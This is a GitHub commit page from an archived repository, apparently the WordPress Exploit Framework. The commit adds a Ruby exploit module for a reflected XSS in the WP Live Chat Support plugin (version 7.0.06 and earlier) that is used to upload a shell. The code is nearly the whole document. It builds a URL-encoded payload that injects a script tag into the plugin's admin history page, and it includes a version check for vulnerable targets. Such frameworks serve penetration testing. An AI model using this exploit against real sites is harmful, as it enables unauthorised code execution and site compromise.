Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 0ddae8c

Browse files
committed
Add WP Live Chat Support <= 7.0.06 reflected XSS shell upload
1 parent b49eb40 commit 0ddae8c

File tree

1 file changed

+38
-0
lines changed

1 file changed

+38
-0
lines changed
Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
class Wpxf::Exploit::WpLiveChatSupportReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ReflectedXss
3+
include ERB::Util
4+
5+
def initialize
6+
super
7+
8+
update_info(
9+
name: 'WP Live Chat Support <= 7.0.06 Reflected XSS Shell Upload',
10+
author: [
11+
'Chris Liu', # Discovery
12+
'Rob Carr <rob[at]rastating.com>' # WPXF module
13+
],
14+
references: [
15+
['WPVDB', '8843'],
16+
['URL', 'http://jvn.jp/en/jp/JVN70951878/index.html'],
17+
['URL', 'https://www.rastating.com/wp-live-chat-support-7-0-06-reflected-xss']
18+
],
19+
date: 'Jun 01 2017'
20+
)
21+
end
22+
23+
def check
24+
check_plugin_version_from_changelog('wp-live-chat-support', 'readme.txt', '7.0.07')
25+
end
26+
27+
def vulnerable_url
28+
normalize_uri(wordpress_url_admin, 'admin.php')
29+
end
30+
31+
def url_payload
32+
url_encode("#{Utility::Text.rand_numeric(2)}'><script>#{xss_ascii_encoded_include_script}</script><span class='")
33+
end
34+
35+
def url_with_xss
36+
"#{vulnerable_url}?page=wplivechat-menu-history&wplc_action=remove_cid&cid=#{url_payload}"
37+
end
38+
end

0 commit comments

Comments
 (0)